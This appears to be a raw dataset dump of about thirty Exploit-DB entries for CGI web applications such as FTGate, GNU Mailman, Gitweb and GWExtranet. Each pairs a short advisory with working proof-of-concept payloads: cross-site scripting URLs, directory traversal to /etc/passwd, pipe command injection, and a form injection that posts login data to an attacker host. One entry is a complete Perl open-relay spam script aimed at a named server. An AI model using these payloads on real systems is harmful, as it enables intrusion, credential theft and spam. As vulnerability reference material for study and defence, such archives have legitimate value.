deardaniel/secdata-raw huggingface dataset:
Exploit-DB #23913
Description: FloosieTek FTGate Mail Server 1.2 - 'index.fts?folder' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2004-04-06
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/10058/info

It has been reported that FTGate is prone to multiple remote input validation vulnerabilities; a cross-site scripting issue and an HTML injection vulnerability. These issues are due to a failure of the application to properly sanitize user supplied input before using it in dynamic web content.

The cross-site scripting issue could permit a remote attacker to create a malicious link to the vulnerable application that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

An attacker may exploit the HTML injection vulnerability to execute arbitrary script code in the browser of an unsuspecting user. It may be possible to steal the unsuspecting user's cookie-based authentication credentials, as well as other sensitive information. Other attacks may also be possible. 

http://www.example.com/inbox/index.fts?folder=TEST&index=1
Exploit-DB #23914
Description: FloosieTek FTGate Mail Server 1.2 - Full Path Disclosure
Type: webapps
Platform: cgi
Date: 2004-04-06
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/10059/info

It has been reported that FTGate it prone to a server path disclosure vulnerability. This issue is due to an ill conceived error message that includes the server path.

These issues may be leveraged to gain sensitive information about the affected system potentially aiding an attacker in mounting further attacks. 

http://www.example.com/inbox/message.fts
http://www.example.com/inbox/message.fts?folder=Sent%20Items&id=test
Exploit-DB #21609
Description: Fluid Dynamics Search Engine 2.0 - Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2002-07-10
Author: VALDEUX

Exploit:
source: https://www.securityfocus.com/bid/5199/info

Fluid Dynamics Search Engine is a search application for local and remote web sites, and is designed to work in most UNIX and Microsoft Windows environments. Fluid Dynamics Search Engine and is maintained by Zoltan Milosevic.

It is possible for attackers to construct a URL that will cause scripting code to be embedded in a search results page. As a result, when an innocent user follows such a link, the script code will execute within the context of the hosted site.

http://www.xav.com/search.pl?Realm=All&Match=0&Terms=test&nocpp=1&maxhits=10&Rank=<br><h1>XSS</h1>
Exploit-DB #22137
Description: FormMail-Clone - Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2003-01-09
Author: Rynho Zeros Web

Exploit:
source: https://www.securityfocus.com/bid/6570/info

FormMail-clone is allegedly prone to cross-site scripting attacks.

The FormMail-clone script does not sufficiently sanitize HTML tags and script code. As a result, a remote attacker may construct a malicious link to the script which contains arbitrary script code. If this link is visited by a web user, the attacker-supplied script code may be interpreted by their browser in the context of the site hosting the software.

This vulnerability was originally reported in FormMail. Additional reports have indicated that the issue actually exists in FormMail-clone, which is an entirely different program which is designed to perform the same function as FormMail but contains none of the original code.

http://www.example.com/cgi-sys/FormMail.cgi?<script>alert("test");</script>
Exploit-DB #23890
Description: Fresh Guest Book 1.0/2.x - HTML Injection
Type: webapps
Platform: cgi
Date: 2004-03-29
Author: koi8-r Shelz

Exploit:
source: https://www.securityfocus.com/bid/9995/info

It has been reported that Fresh Guest Book is prone to a remote HTML injection vulnerability. This issue is due to a failure of the application to properly sanitize user supplied form input.

An attacker may exploit the aforementioned vulnerabilities to execute arbitrary script code in the browser of an unsuspecting user. It may be possible to steal the unsuspecting user's cookie-based authentication credentials, as well as other sensitive information. Other attacks may also be possible. 

<script>alert('xss');</script>
Exploit-DB #38593
Description: FtpLocate - HTML Injection
Type: webapps
Platform: cgi
Date: 2013-06-24
Author: Chako

Exploit:
source: https://www.securityfocus.com/bid/60760/info

FtpLocate is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

FtpLocate 2.02 is vulnerable; other versions may also be affected. 

http://www.example.com/cgi-bin/ftplocate/flsearch.pl?query=FTP&fsite=<script>alert('xss')</script>
Exploit-DB #31025
Description: Garment Center - 'index.cgi' Local File Inclusion
Type: webapps
Platform: cgi
Date: 2008-01-14
Author: Smasher

Exploit:
source: https://www.securityfocus.com/bid/27273/info

Garment Center is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts. 

http://www.example.com/index.cgi?page=../../../../../../../../etc/passwd%00
Exploit-DB #24285
Description: Gattaca Server 2003 - 'Language' Path Exposure
Type: webapps
Platform: cgi
Date: 2004-07-15
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/10729/info
 
It is reported that Gattaca Server 2003 contains multiple path disclosure vulnerabilities.
 
By sending HTTP requests to Gattaca's web server, it is reportedly possible to cause the application to return error pages that contain the full installation path of the application and the web document root path.
 
These vulnerabilities could be used by an attacker to aid them in further attacks against the server.
 
Version 1.1.10.0 is reported vulnerable. Prior versions may also contain these vulnerabilities as well. 

http://www.example.com/web.tmpl?HELPID=8000&TEMPLATE=skins//water&LANGUAGE=[whatever]
Exploit-DB #24286
Description: Gattaca Server 2003 - Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2004-07-15
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/10731/info

Gattaca Server 2003 is reported prone to a cross-site scripting vulnerability. This issue presents itself due to insufficient sanitization of user-supplied data.

A remote attacker can exploit this issue by creating a malicious link to the vulnerable application that includes hostile HTML and script code. If a user follows this link, the hostile code renders in the web browser of the victim user. This would occur in the security context of the web server and may allow for theft of cookie-based authentication credentials or other attacks.

Cattaca Server 2003 version 1.1.10.0 is reported prone to this issue. Other versions may also be vulnerable.

http://www.example.com/web.tmpl?HELPID=8000&TEMPLATE=skins//water&LANGUAGE=[code]//[code]
http://www.example.com/web.tmpl?HELPID=8000&TEMPLATE=[code]//[code]&LANGUAGE=lang//en
Exploit-DB #24284
Description: Gattaca Server 2003 - Null Byte Full Path Disclosure
Type: webapps
Platform: cgi
Date: 2004-07-15
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/10729/info

It is reported that Gattaca Server 2003 contains multiple path disclosure vulnerabilities.

By sending HTTP requests to Gattaca's web server, it is reportedly possible to cause the application to return error pages that contain the full installation path of the application and the web document root path.

These vulnerabilities could be used by an attacker to aid them in further attacks against the server.

Version 1.1.10.0 is reported vulnerable. Prior versions may also contain these vulnerabilities as well. 

http://www.example.com/%00
Exploit-DB #15744
Description: gitWeb 1.7.3.3 - Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2010-12-15
Author: emgent

Exploit:
>-8 Description 8-<
Cross-site scripting (XSS) vulnerability in Gitweb 1.7.3.3 and previous versions
allows remote attackers to inject arbitrary web script or HTML code via f and fp variables.

>-8 Proof Of Concept 8-<
http://localhost/?p=foo/bar/ph33r.git;a=blobdiff;f=[XSS];fp=[XSS]
[XSS] => "><body onload="alert('xss')"> <a


>-8 Credits 8-<
Emanuele 'emgent' Gentili <e.gentili@tigersecurity.it>


>-8 Responsible Disclosure 8-<

13-12-2010	Initial contact with upstream and vendor-sec
13-12-2010	Vendor Response and CVE-2010-3906 assignation
15-12-2010	Public Disclosure
Exploit-DB #25939
Description: GlobalNoteScript 4.20 - 'Read.cgi' Remote Command Execution
Type: webapps
Platform: cgi
Date: 2005-07-05
Author: AcidCrash

Exploit:
source: https://www.securityfocus.com/bid/14148/info

GlobalNoteScript is prone to a remote arbitrary command execution vulnerability.

Reportedly, this issue arises when the user-specified 'file' URI parameter of the 'read.cgi' script is supplied to the Perl open() routine.

This issue may facilitate unauthorized remote access in the context of the Web server to the affected computer.

GlobalNoteScript 4.20 and prior versions are affected. 

http://www.example.com/cgi-bin/bbs/read.cgi?file=|uname%20-a|&bbs_id=00001
Exploit-DB #21480
Description: GNU Mailman 2.0.x - Admin Login Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2002-05-20
Author: office

Exploit:
source: https://www.securityfocus.com/bid/4825/info

GNU Mailman is prone to a cross-site scripting vulnerability. An attacker may construct a malicious link to the administrative login page, which contains arbitrary HTML and script code.

A user visiting the link will have the attacker's script code executed in their web browser in the context of the site running the vulnerable software. 

http://target/mailman_directory/admin/ml-name?adminpw="></form><form/action="http://attackerhost/attackerscript.cgi"/method="post"><br
Exploit-DB #22198
Description: GNU Mailman 2.1 - 'email' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2003-01-24
Author: webmaster@procheckup.com

Exploit:
source: https://www.securityfocus.com/bid/6677/info

A vulnerability has been discovered in GNU Mailman. It has been reported that Mailman is prone to cross site scripting attacks. This is due to insufficient santization of URI parameters.


As a result, attackers may embed malicious script code or HTML into a link to a site running the vulnerable software. If such a link is followed, the attacker-supplied code will be interpreted in the web browser of the victim of the attack. It may be possible to steal the unsuspecting user's cookie-based authentication credentials, as well as other sensitive information. Other attacks are also possible.

https://www.yourserver.com:443/mailman/options/yourlist?
language=en&email=<SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>
Exploit-DB #22199
Description: GNU Mailman 2.1 - Error Page Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2003-01-24
Author: webmaster@procheckup.com

Exploit:
source: https://www.securityfocus.com/bid/6678/info

A vulnerability has been discovered in GNU Mailman. The issue occurs to insufficient sanitization of user-supplied data which is output when generating error pages.

As a result, attackers may embed malicious script code or HTML into a link to a site running the vulnerable software. If such a link is followed, the attacker-supplied code will be interpreted in the web browser of the victim of the attack. It may be possible to steal the unsuspecting user's cookie-based authentication credentials, as well as other sensitive information. Other attacks are also possible.

It has been reported that GNU Mailman 2.0.11 is not affected by this issue.

https://www.yourserver.com:443//mailman/options/yourlist?
language=<SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>
Exploit-DB #29623
Description: Google Desktop - Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2007-02-21
Author: Yair Amit

Exploit:
source: https://www.securityfocus.com/bid/22650/info

Google Desktop is prone to a cross-site scripting weakness because the application fails to properly sanitize user-supplied input.

Successful attacks must exploit this weakness in conjunction with a latent cross-site scripting vulnerability in the 'google.com' domain.

Attackers may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow attackers to access the contents of the Google Desktop search index or potentially to execute arbitrary code. 

http://127.0.0.1/path/search?q=%22%3E%3Cscript%3Ealert%28%27bl4ck%27%29%3C%2Fscript%3E
Exploit-DB #30661
Description: Google Urchin 5.7.3 - 'Report.cgi' Authentication Bypass
Type: webapps
Platform: cgi
Date: 2007-10-11
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/26037/info

Google Urchin is prone to an authentication-bypass vulnerability.

An attacker can exploit this issue to gain administrative access to the vulnerable application. This may lead to other attacks.

Urchin 5.7.03 is vulnerable to this issue; other versions may also be affected.

NOTE: Further reports suggest that this is not a vulnerability, but a documented feature of the application. 

http://www.example.com/report.cgi?profile=x&rid=42&prefs=x&n=10&vid=1301&bd=20070703&ed=20070703&dt=4&gtype=5
Exploit-DB #25594
Description: Gossamer Threads Links 2.x - 'User.cgi' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2005-05-04
Author: Nathan House

Exploit:
source: https://www.securityfocus.com/bid/13484/info

Gossamer Threads Links is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Links versions 2.x, and 2.2.x, as well as Links-SQL version 3.0 are all reported vulnerable to this issue. 

http://www.example.com/user.cgi?url="><script>alert("XSS Vulnerability")</script><"&from=rate
http://www.example.com/user.cgi?url="><iframe%20src="http://www.example2.com/linksql.html"%20scrolling="No"%20align="MIDDLE"%20width="100%"%20height
+="3000"%20frameborder="No"></iframe><!--&from=rate
Exploit-DB #26017
Description: Greasemonkey 0.3.3 - Multiple Remote Information Disclosure Vulnerabilities
Type: webapps
Platform: cgi
Date: 2005-07-20
Author: Mark Pilgrim

Exploit:
source: https://www.securityfocus.com/bid/14336/info

Greasemonkey is susceptible to multiple remote information disclosure vulnerabilities. These issues are due to a design error allowing insecure JavaScript functions to be executed by remote Web sites.

The specified issues exist in the 'GM_xmlhttpRequest()', 'GM_setValue()', and 'GM_scripts()' functions.

Other GM_* functions also likely to be affected, but the exact functions are not known at this time.

These vulnerabilities allow remote attackers to retrieve the contents of arbitrary files, retrieve directory listings from arbitrary locations, and retrieve the contents of various private Greasemonkey data structures. This aids them in further attacks. 

http://diveintogreasemonkey.org/experiments/function-leak.html
http://diveintogreasemonkey.org/experiments/script-leak.html
http://diveintogreasemonkey.org/experiments/xmlhttprequest-leak.html
http://diveintogreasemonkey.org/experiments/localfile-leak.html
Exploit-DB #22482
Description: Guestbook 4.0 - Sensitive Information Disclosure
Type: webapps
Platform: cgi
Date: 2003-04-10
Author: Over_G

Exploit:
source: https://www.securityfocus.com/bid/7320/info

Guestbook has been reported prone to a sensitive information disclosure weakness.

An attacker may disclose sensitive information regarding the Super Guestbook install by sending a HTTP request for the Guest Book passwd file. Administration credentials are displayed in the attacker's browser. 

http://www.example.com/cgi-bin/guestbook/passwd
Exploit-DB #30795
Description: GWExtranet - Multiple Directory Traversal Vulnerabilities
Type: webapps
Platform: cgi
Date: 2007-11-21
Author: joseph.giron13

Exploit:
source: https://www.securityfocus.com/bid/26525/info

GWExtranet is prone to multiple directory-traversal vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the webserver process. Information obtained may aid in further attacks. 

http://www.example.com/gwextranet/scp.dll/sendto?user=calendar+of+events&mid=474020FA.GWEMAIL_DEPOT.SDEPO.100.167656B.1.1B00.1&template=.././../../boot.ini%00
http://www.example.com/gwextranet/scp.dll/nbfile?user=calendar%20of%20events&format=&mid=46FA2724.GWEMAIL_DEPOT.SDEPO.100.167656B.1.198E.1&folder=Calendar&altcolor=cccccc&template=gwextra&caldays=1&startday=&file=../scp.dll
Exploit-DB #30808
Description: GWExtranet 3.0 - 'Scp.dll' Multiple HTML Injection Vulnerabilities
Type: webapps
Platform: cgi
Date: 2007-11-26
Author: Doz

Exploit:
source: https://www.securityfocus.com/bid/26582/info

GWExtranet is prone to multiple HTML-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied input data before using it in dynamically generated content.

Attacker-supplied HTML and script code could execute in the context of the affected website, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

GWExtranet 3.0 is affected by these issues; other versions may also be vulnerable. 

http://www.example.com/GWExtranet/scp.dll/frmonth?filter=<EvilScript>
http://www.example.com/GWExtranet/scp.dll/frmonth?user=<EvilScript>
http://www.example.com/GWExtranet/scp.dll/frmonth?month=<EvilScript>
http://www.example.com/GWExtranet/scp.dll?user=USERID&template=<EvilScript>
Exploit-DB #22588
Description: Happymall E-Commerce Software 4.3/4.4 - 'Normal_HTML.cgi' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2003-05-12
Author: Julio Cesar

Exploit:
source: https://www.securityfocus.com/bid/7557/info

IT has been reported that Happymall E-Commerce is prone to cross-site scripting attacks. The problem occurs due to insufficient sanitization of user-supplied URI parameters. As a result, it may be possible for an attacker to execute arbitrary script code within the browser of a legitimate user visiting the site. 

http://www.target.com/shop/normal_html.cgi?file=<script>alert("XSS")</script>
Exploit-DB #22592
Description: Happymall E-Commerce Software 4.3/4.4 - 'Normal_HTML.cgi' File Disclosure
Type: webapps
Platform: cgi
Date: 2003-05-12
Author: Julio Cesar

Exploit:
source: https://www.securityfocus.com/bid/7559/info

IT has been reported that Happymall E-Commerce is prone to a file disclosure vulnerability. The problem occurs due to insufficient sanitization of user-supplied URI parameters. As a result, it may be possible for an attacker to view the contents of sensitive system files. Files viewed in this manner would be accessed with the privileges of the Happymall process. 

http://www.target.org/shop/normal_html.cgi?file=../../../../../../etc/issue%00
Exploit-DB #32094
Description: HiFriend - 'cgi-bin/hifriend.pl' Open Email Relay
Type: webapps
Platform: cgi
Date: 2008-07-21
Author: Perforin

Exploit:
source: https://www.securityfocus.com/bid/30320/info

HiFriend is prone to an open-email-relay vulnerability.

An attacker could exploit this issue by constructing a script that would send unsolicited bulk email to an unrestricted amount of email addresses with a forged email address.

#!/usr/bin/perl
=pod
----------------------------
------Header Injection------
----------------------------

Script: hifriend.pl
Vendor: Hibyte Software
Version: The free one you get from many webpages
Dork: "hifriend.pl" + "cgi-bin"

Found & coded by Perforin

www.DarK-CodeZ.com
www.vx.perforin.de.vu


Greetz to: SkyOut,Sph1nX,zer0day,Rayden,Neo2k8,Cactus,MereX and all my Friends out there!
=cut

use strict;
use warnings;
use IO::Socket::INET;


my($MSG,$lngt,$data,$sock,$add,%config);

# Here%GÅ½%@s your Message

$MSG = <<"TXT";
arf arf arf 
We gotcha!

Visit http://DarK-CodeZ.com

German VX Community

TXT

# No im not making a friendly Code where you just have to start and type your shit in.
# Use brain.exe to fill in the stuff you need.

%config = (
Server => "sweetscents.com",
Path => "/cgi-bin/",
From => "admin".chr(64)."freehostia.com",
To => "Luxpower".chr(64)."web.de",
Name => "Perforin",
MSG => "$MSG"
);


$sock = new IO::Socket::INET(PeerAddr => $config{'Server'},
                                PeerPort => 80,
                                Proto => 'tcp',
                                Timeout => 1) || die("[+] Could not connect!\n");
								

$data = 'refpage=&reftitle=&Friends='.$config{'To'}.'&SenderName='.$config{'Name'}.'&From='.$config{'From'}.'&PersonalMsg='.$config{'MSG'};

$lngt = length($data);

print $sock "POST $config{'Path'}hifriend.pl?sp=y HTTP/1.1\n";
print $sock "Host: $config{'Server'}\n";
print $sock "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12\n";
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n";
print $sock "Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3\n";
print $sock "Accept-Encoding: gzip,deflate\n";
print $sock "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\n";
print $sock "Keep-Alive: 300\n";
print $sock "Connection: keep-alive\n";
print $sock "Referer: $config{'Server'}/cgi-bin/hifriend.pl\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7. Gecko/20070421 Firefox/2.0.0\n";
print $sock "Content-Length: $lngt\n\n";
print $sock "$data\n";

print "[+] Done!";
Exploit-DB #5304
Description: HIS-Webshop - 'his-webshop.pl t' Remote File Disclosure
Type: webapps
Platform: cgi
Date: 2008-03-24
Author: Zero X

Exploit:
HIS-Webshop is a shopping-system written in Perl by www.shoppark.de
The script doesnÂ´t check the "t"-parameter.

Example:
http://server.com/cgi-bin/his-webshop.pl?t=../../../../../../../../etc/passwd%00

<< Greetz Zero X >>

# milw0rm.com [2008-03-24]